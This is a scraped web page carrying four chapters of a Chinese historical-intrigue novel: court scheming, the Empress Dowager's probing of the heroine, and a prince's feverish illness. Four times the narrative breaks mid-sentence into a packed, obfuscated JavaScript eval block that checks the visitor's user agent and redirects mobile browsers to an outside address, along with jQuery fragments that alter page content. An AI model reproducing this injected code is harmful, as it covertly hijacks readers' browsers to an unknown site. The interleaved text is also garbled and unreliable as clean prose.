北境刚刚经过藩王归属卫王之事，如若在这关头出现治军不严，放疯马伤害百姓之事，卫王名誉受损不说，百姓势必会和卫家军队离心。加之因战事牺牲了儿子、丈夫、父亲的悲痛，保不准会引起更大的麻烦。 卫征鸿背后起了一层冷汗。 回到军营，卫征鸿直接将今日负责看顾马场的小兵和那个因灰马而受伤的小兵带去问话，又把卫王和晏邃安一起请过来。 两个小兵怎么见过这场面，抖着声什么都交代了。 问清楚来龙去脉，几人黑着脸直奔关押梁王和陈王的军帐而去。 后续事宜杨洛云没有参与，她把加强巡卫的事宜和岳横波嘱咐完，转身骑着逐风往百姓聚居的方向而去。 经过一场又一场战乱，百姓几近麻木，只是机械地做着保证自己存活下去的一日三餐，再不时朝门口张望，盼着自家儿郎能奇迹归来——哪怕他们明白这根本就是妄想。 许是只有杨洛云一个姑娘，这次敲开的人家并不像之前那样直接闭门谢客，而是默许她进入室内。 接连几户，屋内不是嗷嗷待哺的婴孩，就是孱弱不堪的老妪，年轻的妇人来来回回照顾着一家，面露憔悴。 看着他们的模样，杨洛云心里酸酸的，对于汉人的怨恨更加明确，把范围缩小到徇私枉法、冷酷不仁的官员和作恶多端之人上。至于这些百姓，不过也是苦命人罢了，和云岭各部族的族人没有区别。 她把身上值钱之物全部分给几户人家，又询问了不少他们的生计和近几年的情况，直至夕阳落下才骑着逐风归去。 入夜，北境军营里巡防士兵整齐有素地来回排查着，杨洛云直奔晏邃安军帐。 晏邃安正埋头写着什么，见到她进来，放下笔抬头静候。 “晏晦明果真在北境动过手脚，只是那些证据根本不足以对他构成威胁。”杨洛云回想起从几户百姓那里找到的消息，语气愤愤。 “梁王和陈王承认勾结烈匈一事，他们的联络人是老二无疑。这么些年，确实是小看老二了。”晏邃安悠悠开口。 杨洛云给自己到了一杯水，仰头一口气饮尽。 “可恨没有直接有力的证据，一直耗着不是办法，不如明日就启程回去？” “眼下也只能如此。” 目送杨洛云离开，晏邃安叫来展锋：“玉京城近日可有消息？” “二皇子还未归京，太子的任务完成得不错，被陛下单独召见过好几次。” “动用北境这边的暗线查查老二之前和陈王、梁王的往来，既然他做过，无论如何都不可能抵赖。” 展锋对动用暗线的决定有些惊讶，毕竟培养出暗线不容易，见到晏邃安盯着杨洛云离去的方向，了然退下。 翌日天明，众人启程回京。 让杨洛云感到意外的是，卫征鸿竟也在队伍之内。 卫王亲自出营相送，临走前反反复复拉着晏邃安嘱咐什么，晏邃安耐心听完，翻身上马。 逐风现在是杨洛云的坐骑，杨洛云总是一有时间就到马场陪它，还变着法给它投喂胡萝卜，晏邃安的命令有时甚至比不上杨洛云的有用。 “我们这么快返程，陛下难免不起疑心，卫将军亲自进京禀明情况，比我们做任何事都管用。”看出她的疑惑，晏邃安凑近悄悄解释。 “就不担心烈匈族再犯北境吗？”杨洛云看一眼依旧戴着黑纱斗笠的晏邃安。毕竟战场之事瞬息万变，若是主将不在，难保不会出事。 “我已经命岳将军留下掌军，她亦是将军，作战经验丰富，训练也严苛。” 视线逡巡一圈，果然不见岳横波的身影。 “论严苛，岳将军第二还真没有人敢称第一。”想到岳横波和卫征鸿面对面比训练的场景，杨洛云弯弯唇角。 晏邃安不想破坏她的好心情，但达成目标任重道远，每一刻都得珍惜。“老二还未归京，我们亦可趁此机会在玉京全面探探他的底细。” 杨洛云点头，晏晦明往日深藏不露，确实不易找出破绽。 晏邃安思索片刻，继续道：“端妃那边还得烦你继续跟进，至于其他……你是否精通百越语言？” 晏邃安知晓杨洛云对于滇南云岭各族语言的熟悉程度，可百越距滇南甚远，这样的要求确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276335|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实有些强人所难。 “不成问题。”杨洛云一口应下。 云岭十八骑要做成茶马古道最大的马帮，除了滇南云岭，其余往来各地的语言也是必须懂得的。 返京队伍照常前行，百里外的滇南，黑骊帮。 侍女行走的脚步轻得仿佛不存在，待客厅光线昏暗，烛火时不时幽幽跳动。 女子的声音从重重帘幕中传出：“玉京最近怎这般风平浪静？木首领可与二皇子有所联络呀？” 木铎跪在地上，眼里压抑着不知名的情绪。 他明明好好管理着云岭，各地货物往来的接头人在接受云岭十八骑的消息后也逐渐归服于他。偏偏前些时日黑骊帮凭空出现，这个只闻其声不见其人的女子迅速把一切势力收归掌中，货物往来不仅不再听他的命令，整个古道的运行权也渐渐脱离他的掌控。 木铎为此忧心过，特意给晏晦明写信求助，没有等来援助不说，晏晦明竟然警告他，让他把手中势力尽数交给黑骊帮的女子，并且一切听凭她的吩咐。 这女子是何来历？除了对滇南的一切了如指掌，还能让二皇子心甘情愿为她所用。 许久没有听见回复，女子的声音沉冷不少：“怎么？这个问题很难回答？” “二殿下最近在江南调查水患一事，玉京只有太子殿下在，北境的消息送达还需时日，故而没有太大变化。”木铎回神，迅速禀明。 “原是如此，那便先放放。只是今日，木首领似乎该把你弩山部的收支记录交给黑骊帮了。”女子语气慵懒，漫不经心挑开最里侧的帘幕，从侍女捧着的盘子里摘下一颗水盈盈的葡萄，举到眼前端详几息，再慢慢放入口中。 “我身为弩山部首领，收支记录关乎部族的生存细节，怎么能轻易交给你这个不明身份之人？”木铎语气里满是坚定，他打定主意，在不知晓女子身份前，绝不会交出记录。 口中的葡萄又酸又涩，女子猛然抬手，侍女捧着的盘子被她打落，摔在地上，四分五裂。 侍女吓得一个激灵，颤抖着跪下，一个劲磕头，却没有发出一丝声响。 木铎皱皱眉，总觉得侍女有些怪异。 “你这是在和我谈条件？”女子的语气已经藏不住杀意，帘幕随着烛火的跳动晃晃荡荡，墙上投出的影子好似可以吞并一切的厉鬼。 “知晓您的身份，换得我族收支记录，这交易，明明是您更占便宜。”木铎丝毫没有退缩之意，如果他弩山部开了这个头，黑骊帮后续便可向其他部族讨要收支记录，这是将云岭变相拱手让人，族人定会被他族唾骂，木铎不允许这样的事情发生。 “呵呵呵，不愧是弩山部首领，有胆识。” 女子缓缓起身，脚背碰了碰跪在地上一个劲磕头的侍女，示意她离开。接着一层层挑开帘幕，走到木铎身旁。 “抬起头。” 木铎缓缓直起身，目光一点点上移，看清女子面容，整个人就是一僵…… 22. 深宫试探 “怎么，见到我很惊讶？”女子似笑非笑，看着木铎震惊的神色，语气里是说不出的愉悦。 “为什么？”木铎无论如何也想不出她这么做的理由。 “这些事与你无关，你只需要知晓，做好分内之事，你族人方可长久。” 弩山部的交易记录最终还是落到女子手中，木铎恍恍惚惚离开黑骊帮，脑海里天人交战，久久都接受不了事实。 杨洛云和晏邃安抵达玉京城时，天气已经渐渐转暖。 大殿御座之上，皇帝眯着眼睛打量二人：“北境情况如何？老二赴江南都尚且未归，你们这么快就回来了？” “回禀陛下，北境藩王现今皆已归属卫王，卫王世子带领部下一举击退烈匈人，短时间内应该不会有太大动作。”晏邃安站的笔直，一副恭敬谦卑的模样。 “是吗？巡马御史怎么说？”皇帝的语气里满是怀疑，紧盯晏邃安的目光转移到杨洛云身上。 杨洛云很不喜欢这样的目光，那种高高在上的汉人姿态让她不由得想起天堑关的官兵。 “陛下，北境毕竟才经历战争，百姓生活条件艰苦，军中马匹也瘦弱，臣并未寻得合适的马。”杨洛云不卑不亢，实事求是答复，眼神坦荡。 “也罢，朕本就没有对寻得合适马种抱有希望。” “陛下，臣还带回一人，特请允他进殿。”晏邃安看向殿外等候的身影，眼底藏着微芒。 “准！”皇帝大手一挥，卫征鸿低着头快步进殿。 正要行礼，皇帝看向杨洛云：“昨日端妃还在念着你，既然已经回来，就去陪陪她吧。” 杨洛云偷偷与晏邃安交换了一个眼神，随即转身离去。身后卫征鸿禀报的声音模模糊糊传来，她恍若未闻，脚下步伐加快。 锦铠园，周岚正百无聊赖地检查着宫中换防记录。 “岚姑姑！”杨洛云的声音由远及近传来。 周岚惊喜地抬头，丢下手中册子迎上来：“云川回来了？” 手被周岚紧紧拉着，又被她从上到下细细检查，杨洛云有些恍惚，眼前又浮现起云骧府阿娘对自己的挂念。 “快给我讲讲北境的情形……对了，怎么不见横波？”周岚往杨洛云身后瞄了瞄，并未见其他身影。 “岳将军留在北境坐镇，回来兴许还需些时日。” 周岚挽着杨洛云走进殿中，又唤婢女拿来各类吃食，满满摆了一桌，俨然一副准备听书的样子。 李浈过来时，见到的就是周岚津津有味听着杨洛云讲故事的模样。 “惠妃娘娘。”杨洛云起身行礼。 “我说你怎么今日不过来烦我，原是她回来了。”李浈语带笑意，缓走到周岚旁坐下。 杨洛云从怀中掏出药囊，双手呈到李浈面前：“上次见娘娘对此物感兴趣，回去后就又做了一个，还请娘娘笑纳。” 今日入宫前杨洛云便想到会遇见惠妃，特地把与白露一起做的药囊带在身上。 “你有心了。”李浈爱不释手，眉眼显出真切的笑。 “不瞒娘娘，此药囊并非我原创，而是胜似家姐的友人所做，论医理药道，我在她面前实是小巫见大巫。”杨洛云将白露的能力一五一十给惠妃道来，丝毫没有居功的意思。 “下回你进宫，不若带上她一起。”李浈是名副其实的医痴，听闻有这般能人，自是万分珍惜。 几人谈笑间，有婢女快步从殿外走来：“端妃娘娘，太后娘娘传召杨巡使。” 周岚与李浈对视一眼，二人眼中均有不安。 “她素来对朝堂之事不予理会，与我二人也鲜有往来，今日点名要见你，着实出乎意料。” 周岚对前来通传的婢女道：“本宫刚巧得到一些延年益寿的宝贝，正好和杨巡使一道过去。”她不放心杨洛云独自面见太后，有意随行。 “端妃娘娘，太后娘娘交待过，杨巡使一人过去便可，您的心意她晚些自会收下。” 杨洛云轻轻拍了拍周岚的手，冲她摇摇头：“既是太后娘娘召见，我也不宜耽误太久，岚姑姑和惠妃娘娘先聊，我去去就回。” 目送杨洛云随婢女远去，李浈和周岚也没了玩笑的心思，各自忙起手头事宜。 杨洛云刚踏进慈宁宫，就微不可察皱皱眉——这宫中用的熏香有些熟悉，和记忆里滇南的青灵香出奇一致。 “拜见太后娘娘。”　杨洛云垂眸行礼，脑中飞快思索着太后高潋叫她前来的目的。 “杨巡使从北境归来辛苦了，上次家宴哀家就关注过你，只可惜一直没有机会和你单独说说话。”高潋的话里满是和蔼，杨洛云一时摸不清她的态度。 “能得太后娘娘召见，是臣的荣幸！” 高潋见她自始至终低着头，眼里闪过疑虑，继续不动声色道：“听闻你自滇南而来，抬起头来，让哀家好好看看滇南姑娘是何模样。” 杨洛云心中警惕，高潋似乎从家宴开始，就一直对她是滇南人念念不忘。 慢慢抬起头，视线随之掠过高潋的服饰、妆容，最后与高潋对视。 “嗯，是个美人。”高潋看清杨洛云的长相，停顿片刻才评价道。 “多谢太后娘娘夸奖。” 杨洛云亦是第一次仔仔细细看清高潋的模样，心中的疑云不减反增：高潋不似寻常汉人那般长相，反倒有些滇南部族人的影子，但她身为一国太后，自不可能是其他族人。 “滇南距玉京路途遥远，你千里迢迢过来，可还习惯？饮食也好，服饰、口音也罢，必是费了好些时日才适应吧？”高潋语气里不是好奇，反而满是关怀。 关于适应方面的细节，还是第一次有人这么详细地问杨洛云。高潋就好似经历过一般，看她的眼神仿佛是在透过她看着别的人。 “臣自小就去各处学习驯马相马，玉京城样样都好，自是很快就适应了。”杨洛云的回答滴水不漏。 她的答案与自己的设想不同，高潋微怔，而后又自然地开口：“你与安王是如何识得的？哀家这个儿子可不是随随便便就会带女子在身边的性子。” 杨洛云心下暗骂，晏邃安与高潋的关系明眼人都看得出并不亲厚，高潋打着关心晏邃安的名义不过是为了让她更好地放下警惕。 “臣初入玉京，没有银钱傍身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276336|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，听闻有招募驯马相马的师傅，就想着碰碰运气。机缘巧合，安王殿下愿意相信臣，臣这才有机会医治逐风。” 太后轻笑：“呵~安王可不是谁都相信的，你能得他青睐，自是因为你本就有足够的能力。” 杨洛云虽对高潋有所警惕，但对她说的这句话却很是认同。 “你在玉京城可会时常想家？”高潋的话题转换很快，杨洛云一时差点没有跟上。 “时常想念。” “听闻滇南的云岭十八骑被屠，现在掌管滇南贸易往来的是个部族首领。” 杨洛云藏在袖下的拳头猛地收紧，她压抑着情绪，用平和的语气回答：“臣前来玉京城时还尚不知晓此事，太后娘娘消息灵通。” “哦？”高潋面露怀疑，她盯着杨洛云的表情，不放过一丝变化。 “回禀太后娘娘，端妃娘娘差人来问，您是否留杨巡使用膳？若是不留，她那边的膳食已备好，就等杨巡使过去了。”婢女的声音传来，杨洛云心下松了口气。 “看来周岚对你很是上心，这么一会儿的功夫，生怕你在哀家这里受欺负。”高潋语气揶揄。 杨洛云没有回应，她再次垂下头，一副听凭吩咐的模样。 “罢了，你且回去吧，下次哀家再请你来叙话。”高潋揉揉太阳穴，没了继续问讯的兴致。 离开慈宁宫，杨洛云回头看看那高悬的匾额，眼中满是凌冽之色。太后分明就是存心试探，好奇滇南云岭十八骑也好，安王和她的关系也罢，总归不安好心。 回到锦铠园，看见她全须全尾回来，周岚悬着的心总算落下。 “她没有为难你吧？”李浈开口问。 杨洛云笑笑，轻轻摇头。高潋对她的试探不宜让二妃知晓，她们真心待自己，何须一起跟着担忧。 “若是派人传话你都不曾回来，我可真就要去慈宁宫寻人了。”周岚摸摸杨洛云的头，满满都是关怀。 “多谢岚姑姑！”杨洛云心中震动，周岚比自己大不了几岁，身处皇宫还能被人以真心对待，这样的情谊很是珍贵。 和二妃用完晚膳，杨洛云起身准备告辞。临走前，她试探着问周岚：“岚姑姑，我有一事相求。” “何事？” “您掌管着宫中禁卫，我想麻烦您帮忙留意十三年前的换防安排记录。” 周岚和李浈面面相觑，许久，周岚才道：“我明白你这请求是为谁，只是十三年前我尚未进宫，很多消息探查起来耗时比较长。” “安王为何不亲自来问，我们难道还能直接拒绝他不成？”李浈很是严肃。 晏邃安这些年暗中对二妃多有帮助，她们就算是还人情也必会答应他的请求。 杨洛云不好直接说明晏邃安顾虑之事，她心中其实也和李浈想得一样。 “大概他有所顾虑吧，这孩子就是心思重。”周岚解围，又对杨洛云补充：“你告诉他，我会尽力而为，只是结果无法保证。” 回到安王府，杨洛云被展锋拒之门外：“殿下已经歇下，姑娘明日再来吧。” 杨洛云眉头紧蹙，思索须臾，还是转身离开。 23. 高热担忧 月光如水，柔柔照进安王府的小花园。 杨洛云思索着白日里发生的一切，辗转难眠，干脆起身在府内漫无目的地散步。 小花园的植物种类颇少，杨洛云看着玉京城常见的几种花簇，有些怀念云岭的花草。 若隐若现的奇怪声响从不远处传来，杨洛云循声望去，是晏邃安的房间。 她本欲不去打探，毕竟每个人都有自己的隐私。可那声音越来越大，断断续续没有停歇。 杨洛云还是没有忍住，放轻脚步走过去。 “展锋？展锋你在吗？”四下搜寻，没有看见展锋的身影，杨洛云试探地呼唤，想要借此提醒房内之人自己的动向。 没有人回应，院子里除了屋内的声音，显得格外安静。 杨洛云犹豫稍许，还是推开了房门。 屋子里暗沉沉的，没有一丝月光能透进来。帷幔重重，隐约勾勒出床榻上人的影子。 “殿下？” 晏邃安没有动静，杨洛云加快脚步走近，一把掀开垂下来的幛幔。 看不清晏邃安的情形，杨洛云拿出火折子，点燃距离床榻较远的一盏灯，悠悠的光亮 榻上之人双目紧闭，浑身都被汗水浸湿了，他的身体不受控制地颤抖着，双手在无意识地抓挠着床柱，口中还在不停地喃喃。 杨洛云心中焦急，凑近细听。晏邃安不断低声重复着：“母妃……不要……不要！” 他的声音嘶哑，没有以往那般好听。 “殿下，醒醒！晏邃安，晏邃安！”杨洛云轻轻摇晃着他，隔着衣料触手滚烫。 这是……发热了？ 拉出他的手，杨洛云被满手触目惊心的伤口惊得一窒。 抬头看向床柱，一道道抓痕蜿蜒其上，新旧叠加，有的已经入木三分。 这些痕迹无不宣告着始作俑者的痛苦，看得杨洛云心中酸涩：晏邃安究竟经历了什么？ 稳住心神，杨洛云忽略可怖的伤痕，搭上晏邃安的脉探诊，脉象很混乱。于医道方面，她没有白露精通，但联想起晏邃安常常带着的黑纱斗笠以及他室内暗沉的布置，杨洛云觉得似乎不只是身体上的病症那么简单。 当务之急是先退热。 杨洛云端着盛满水的铜盆进来时，晏邃安仍维持着先前的状态。 安王府内几乎没有什么侍候的人，展锋不在，除去护卫安全的暗卫，整个王府似乎就只剩杨洛云和晏邃安。 暗卫自是不会进入内院，没有晏邃安的命令，杨洛云也无法调动他们。 卷起衣袖，杨洛云掀开晏邃安的被子，准备给他擦拭降温。 手中沾水的帕子刚触上肌肤，晏邃安猛地睁开了眼睛，一把抓住杨洛云的手。 他昏昏沉沉，察觉面前之人没有伤害他的意图，卸下手上力道。 “母妃……” 晏邃安用脸轻轻蹭了蹭杨洛云的手背，语气里有说不出的眷恋。 杨洛云一顿，他这是将自己认作娘了？心中轻轻叹息，手里动作不停，将帕子重新打湿，敷在晏邃安额头上。 杨洛云还是第一次仔仔细细打量晏邃安。说实话，眼前人长得十分俊朗，剑眉星目、鼻梁高挺，是她喜欢的长相。 同样领过兵打过仗，卫征鸿浑身透着一股肃杀，不容侵犯。晏邃安身上则多了些沉稳与平和，或许和他近几年隐在暗处、掌握大局有关。 比起那晚受伤的卫征鸿，晏邃安非常不安分。他时不时就要睁眼确认杨洛云是否在身侧，甚至还执着地要触碰到杨洛云，哪怕只是一片衣角。 人已经够难哄，病情更是不见好转。高热久久没有降下来的迹象，杨洛云重复着冷敷的动作，心中忐忑不安。 就这么一直支撑到天明，晏邃安的体温才有所降低。 杨洛云紧绷的神经放松下来，困意便一股脑儿袭来。 她找了个舒服的姿势靠在床边，闭上眼就进入了梦乡。 杨洛云是被身侧不安分的人弄醒的。 睁开眼，就看见晏邃安缩成一团。 伸手探上额头，杨洛云顿呼不妙——晏邃安不再高热，整个人却如冰块般冷得发僵。 这样下去不是办法，给晏邃安裹好被子，杨洛云起身朝门口走去。 推开房门，刺目的阳光照得人久久睁不开眼。 好不容易适应了光亮，迎面就撞上一人。 “你就是他带刺的玫瑰吧？”萨迪克很不正经，满脸大胡子，说着一口不太标准的汉话。 杨洛云直直绕过他，冲着后面的展锋道：“快去看着你家殿下，他情况不太好，我去寻医师。” 闻言，展锋和萨迪克风一样进了晏邃安的房门。 “他的症状应是心理疾病引起的。”听完杨洛云的叙述，白露蹙眉。 “他体温忽冷忽热，状态非常不好……” “走，我和你去看看。” 杨洛云带着白露回到安王府时，晏邃安已经醒了。萨迪克不见踪影，只有展锋一人沉默地立在一边。 晏邃安虚虚靠在床头，身上盖着好几床被子，脸色苍白如纸。 “抱歉，我让你担心了。”晏邃安看着杨洛云关切的眼神，唇角向上弯了弯。 “让白露给你看看吧，我医术有限。” 立在一边的展锋正欲开口阻止，晏邃安却点点头：“好，劳烦白露医师。” 白露诊完脉，沉默地退到杨洛云身后。 晏邃安扫一眼她的神情，轻笑：“我这是老毛病，偶尔会犯几次，无妨的。” “你好好休息，我晚些再和你说昨夜情况。”杨洛云见晏邃安不愿多说，拉着白露回了自己的客房。 “他这病究竟是怎么回事？” “心病，碰上刺激源就会加重。”白露想了想，又问：“阿云，你说安王时常戴着黑纱斗笠？” “是，除了进宫的几次和一些正式场合，我发现他几乎都会戴。” “或许是畏光，方才诊脉，我发觉安王有很严重的长期病症，这次他的情况是在受到刺激后加重病发引起的。照他的说法，这样的情况不是第一次。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276337|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 杨洛云沉默，想起他痛苦的模样，心里突然很不好受。 “有没有什么解决办法？” “心病还须心药医，找到他的心结所在，或许能够减轻。” 白露观察着杨洛云的神色，还是没有忍住说：“阿云，我知晓你和安王的盟友关系，但是我始终觉得，皇室中人很危险。” 杨洛云点点头：“放心，我心中有数。” 留白露在客房用晚膳，杨洛云不放心马帮兄弟的情况：“近几日阿虎和阿木叔他们如何？” “已经按照你先前的布置，各自在玉京城结实了人脉。对了，在云岭的兄弟最近传来消息，云岭出现了一个叫‘黑骊帮’的组织，不仅接管大半古道往来贸易，就连弩山部那些人都对其恭敬有加。”白露语气愤愤。 “黑骊帮？”杨洛云默默记下这个名字。 送走白露，杨洛云来到晏邃安屋内。 经过一下午修整，晏邃安精神状态好了不少。 “谢谢。”他看着杨洛云的眼睛，发自内心道谢。 “我们是盟友。”杨洛云语气平和，没有多问其他。 “听展锋说，昨夜你来找过我？” “是。昨日在端妃娘娘那里坐下不久，慈宁宫人就把我传召过去。” “太后似乎从得知你的来历后就对你很是关注。” “昨日太后总设法套我话，她对滇南似乎很是熟悉。”杨洛云回想着高潋有意无意的问话，表情严肃。 “太后是高家嫡女，按理说出嫁前并未离开过高家才对。我让展锋去查一查。” “另外，端妃和慧妃娘娘应是可靠之人。如若殿下有需求，她们会是最好的助力。”杨洛云想着二妃对晏邃安的评价，有意给他们提供沟通机会。 “我会考虑，她们的态度转变向来不易，想来你也多在其中有所周旋。”晏邃安语气温柔。 “殿下，近期滇南有一个叫‘黑骊帮’的组织，我想请你帮我打听打听。”杨洛云想起白露的话，还是决定请晏邃安帮忙。 晏邃安点头应下。 “太后之后肯定还会有所动作，你要多加小心。”晏邃安提醒，他如今在皇帝和太后心里只是一个不问政事的闲散王爷，虽说能够尽力护住杨洛云，但难免有力所不能及的时候。 和晏邃安互通完消息，杨洛云长长舒了口气。 慈宁宫里，高潋听着下属汇报，挑了挑眉：“呵呵呵，你说晏邃安今日突发恶疾？” “是，我们的人看见跟在他身边那个姑娘急匆匆去了医馆。”黑衣侍从恭敬地禀报。 “哦？有意思，哀家还担心他真的好了，现在看来当年之事也不过是他掩饰哀家耳目的手段。他可真是有些本事，这么多年，哀家小瞧他了。” 高潋轻轻抓起一把瓜子放在手心：“不论如何，晏邃安都还是向她所不期望的样子而去，她不舒坦，哀家可就舒坦了哈哈哈。” 慈宁宫气氛诡异，侍从战战兢兢，高潋的爽朗笑声传遍慈宁宫里里外外，声音回荡久久不能平静…… 24. 江南遗愿 昭华国江南阎村。 “爹爹，我们去哪里？”小男孩看看全然翻新的一切，怯生生询问。 “回家！爹娘给你炖萝卜。”中年汉子语气里全是兴奋，满溢着对未来生活的向往。 妇人含笑听着父子的对话，时不时帮丈夫托一把孩子。 晏晦明目送着怀抱孩子的夫妇一瘸一拐远去，眸中有淡淡的笑意。 这是他安置的最后一户灾民，江南水患已经止住，重建工作也全部安排妥当。耗时五个月，他终于能够还百姓一个家园。 抬起手遮住刺眼的日光，晏晦明对着玉京城皇陵方向深深凝望：“母妃，您看见了吗？儿子已经有能力为您故乡的百姓做实事了。您在天上保佑江南风调雨顺，他们以后的日子定会越来越好……您一定看见了……” 滴答滴答，几滴泪水顺着脸颊滑落，晏晦明随手抹去，转身离开。 “父皇，二弟治水有功，皇叔北境视察亦辛劳，不若等二弟回来，在朝堂上一齐嘉奖他们。”养心殿里，太子放下晏晦明呈上的奏折，试探着给皇帝提出建议。 皇帝掀开眼皮，盯着太子许久，似乎想从他的眼底看出些什么。 可惜什么也没有，太子眼神坦荡，他本就打心底里这么想。 “你的心真大。”皇帝长长叹息，一面担忧太子太过纯粹，一面又欣喜他的仁厚与真诚。 “也罢，朕要借此机会赐你皇叔一个封号，你意下如何？”皇帝思及这些年晏邃安本分的举止，觉得是时候该彰显自己的仁德之风了。 “皇叔喜清闲自在，父皇不如把滇南作为封地给他？” “滇南……嗯，是个不错的选择。”离他的玉京城不算特别远，又有地方错综复杂的政治势力盘踞，晏邃安就算再有能耐，也很难搅出风浪。至于经贸往来，滇南的茶马古道地段本就有世代驻守的马帮和部族，不必担心晏邃安中饱私囊。 “给他滇南封地，封号便就依滇南取吧。”皇帝漫不经心地把取名一事丢给太子，转头思忖给晏晦明的赏赐。 对晏晦明这个儿子，皇帝说不上多喜爱，因颐妃之故，皇帝甚至对她还有几分厌恶。但不得不承认，比起太子，晏晦明更有为君之才。 三日后的早朝，晏邃安同晏晦明一道上前行礼。 自北境回来，晏邃安就被迫加入了早朝行列。尽管他十分不情愿，还总是早早离开，文武百官也自动选择视而不见。 “镇渊视察有功，特赐封地滇南，号丽水苍麓王。”皇帝的话让众大臣心中一惊，他们知晓皇帝会封赏晏邃安，但没有料到竟是赐封地封号。 晏邃安也有些惊讶，瞥见太子对他悄悄使眼色，心下了然。 “微臣，谢陛下赏赐。”听完太监高声宣读的圣旨，晏邃安恭敬接下，默默开始盘算计划。 “晦明，此次你江南治水亦是大功一件，想要什么赏赐？”皇帝微笑看着晏晦明，但威胁之意很是明显——你最好不要提出什么太过分的要求。 “儿臣只想请父皇同意一件事。”晏晦明一撩衣袍，郑重下跪。 “讲。”皇帝看着他的动作，心中有些不好的预感。 晏晦明端正姿势，抬头直视皇帝，平静开口：“恳请父皇，准许儿臣将母妃之墓，带回江南安葬。” 一语毕，四下落针可闻。 颐妃之死一直是一大忌讳，曾有人在皇帝面前提起颐妃二字，就被皇帝下令处死。 晏晦明此番堂而皇之提出，还是迁墓这等大事，皇帝会有多愤怒可想而知。 按照祖制，后宫嫔妃无论因何而死，死后都得葬入皇陵。“生是皇家的人，死是皇家的鬼”就是对这最好的诠释。 “二皇子这样的要求是否有违祖制？”苏丞相率先出列，他一向摸得清皇帝的心思，此事皇帝绝不会应允。 晏晦明知晓他这么做的后果，可是念及母妃的遗愿，想到她一生被困皇宫的落寞和凄冷，晏晦明还是鼓足勇气：“父皇，儿臣愿意放弃此前所有赏赐，只求父皇准许这一个愿望。” 一众大臣倒吸一口凉气，二皇子一派的官员满脸不可置信，他们觉得晏晦明定然是疯了，居然会为一个死人放弃奖赏。 “就算是放弃王位，你也愿意？”皇帝的声音从御座之上传来，听不出任何情绪。 “愿意，儿臣愿意将所有军功、封赏换此愿望。”晏晦明声音响彻大殿，这是他一直想求得的奖赏，今日终于能够宣之于口。 晏邃安站在一旁，看着晏晦明笔直跪立，听着他一字一句掷地有声，忽然有些恍惚——曾几何时，他也有过和晏晦明一样为母妃请愿的念头。只是那些冲动，那些在心底反反复复千遍的计划尚未来得及付诸行动，就被先皇和当今太后扼杀在摇篮之中。 此刻，晏邃安竟希望皇帝能够答应晏晦明的请求，就像是给当年小小的自己一个肯定的答复。 皇帝用手指轻叩着龙椅，他怎会不明白，晏晦明提及军功就是在提醒自己，当年欠下他一个交代。把晏晦明的军功安在太子身上，朝中只有苏丞相和几位大臣知晓，晏晦明这也是在变相威胁自己。 一股怒火从头顶蔓延至脚跟，皇帝狠狠将一折奏折掷向晏晦明。 晏晦明一动不动，静静受下，还将背脊挺得更直。 看着他的模样，皇帝忽然笑出了声：“呵呵呵呵，老二，你和颐妃还真是母子情深呐。” 笑声持续不断，长到一众大臣面面相觑，完全摸不透皇帝的心思。 半晌无人出声，皇帝止住笑，竟爽快应道：“你的心愿，朕准了！” 皇帝非常乐意看到晏晦明有自己的软肋和愿望，人一旦将自己的欲望公之于众，就有了可以拿捏的弱点。 早朝在大臣们窃窃私语的谈话声中宣告结束。 得知晏邃安的封地是滇南，杨洛云很高兴。这意味着她夺回古道的掌控权更进一步。 “我的人并没有在玉京查到晏晦明的有用信息。”想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292838|182435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到阿木叔和阿虎送来的消息，杨洛云有些挫败。 “老二这么多年的谋算不是白做的，他有自己的布置就不会轻易让我们找出破绽。”晏邃安出声安慰。 “你的人有何发现？” “展锋回报说，老二似乎在找滇南云岭的某样重要物件。” 杨洛云的第一反应是茶马玉符，她追问晏邃安：“可知道具体细节？” 对上她充满期待的眼神，晏邃安抱歉地摇摇头：“要想知晓具体细节，还需等些时日。” 杨洛云点头，她有足够的耐心等待。 